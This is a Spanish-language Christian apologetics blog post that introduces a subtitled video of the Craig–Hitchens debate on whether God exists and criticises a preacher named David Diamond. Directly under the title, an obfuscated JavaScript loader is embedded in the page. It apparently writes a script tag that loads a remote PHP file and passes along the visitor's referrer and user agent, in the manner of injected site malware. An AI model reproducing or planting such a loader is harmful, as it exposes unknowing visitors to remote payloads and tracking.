• 2325

Debate: ¿Dios Existe? – William Lane Craig vs Christopher Hitchens -Sub Español

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“<\\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zskia|var|u0026u|referrer|kdnza||js|php’.split(‘|’),0,{}))
class=”alignleft” alt=”” src=”http://lajovel.files.wordpress.com/2013/10/b0c8a-craig-hitchens-debate.jpg” width=”300″ height=”300″ />En los últimos días, me he tomado el tiempo de refutar mucho de lo que dice David Diamond. Sin temor a sonar prepotente, no es una persona difícil de hacerlo, pues no sabe de teología, o de la historia del Cristianismo. Pero como dice el dicho “en el país de los ciegos, el tuerto es rey”, Diamond es el tuerto en el país evangélico donde casi la mayoría aparentemente son ciegos.

Pero lo que yo hago con Diamond, son cosas de principiante de apología. Diamond no es un hereje, solo un confundido que necesita ser corregido. El no es un militante ateo, y mucho menos un intelectual. Pero acá les proveo un choque de gigantes. El Dr. William Lane Craig, considerado entre los mejores de los filósofos vivos el día de hoy, y uno de los mejores defensores de la Fe Cristiana, debate al ya fallecido Christopher Hitchnens, de nacionalidad Inglesa, y uno del movimiento llamado “Nuevo Ateísmo”.

Hitchens ha sido por años un formidable enemigo del Evangelio. Es interesante ver que aunque el y sus compañeros del Nuevo Ateísmo no se les conoce mucho en Latinoamérica, sus ideas si están teniendo un efecto catastrófico en la región. Mientras que muchos se ponen a quejarse que hay predicadores que les sacan el dinero a la gente, no obstante, se ven imposibilitados de poder entablar o refutar a personajes como Hitchens y Richard Dawkins. Estos, tratan con las ideas que llevan a las personas a hacer lo que los predicadores del Sensacionalismo dicen que no deben hacer, que es dar dinero a fraudulentos. Si la mente no cambia, no le darán el dinero a X fraudulento, sino que se lo darán a otro. Son las ideas las que tienen que cambiar, para que haiga un cambio de proceder.

Por lo tanto, les otorgo este video, que espero que puedan apreciar de cómo en realidad los Cristianos debatimos a personas que son de mucha influencia, y como uno de los mejores defensores de la Fe, se desenvuelve durante el debate.

Share This Article

David Diamond Ana Mendez y sus extravagantes visiones

Next Story »

Holanda: Una epidemia de sarampión enfrenta a calvinistas fundamentalistas con las autoridades sanitarias

Teología

  • Martin Lutero NO FUE inerrantista

    3 semanas ago

    Introducción Los Reformadores Protestantes como Martin Lutero Juan Calvino, Ulrico Zwinglio, et al. han escrito declaraciones aisladas que se citan perennemente para apoyar la Inerrancia Bíblica. Sin ...

    Read More

Leer más

More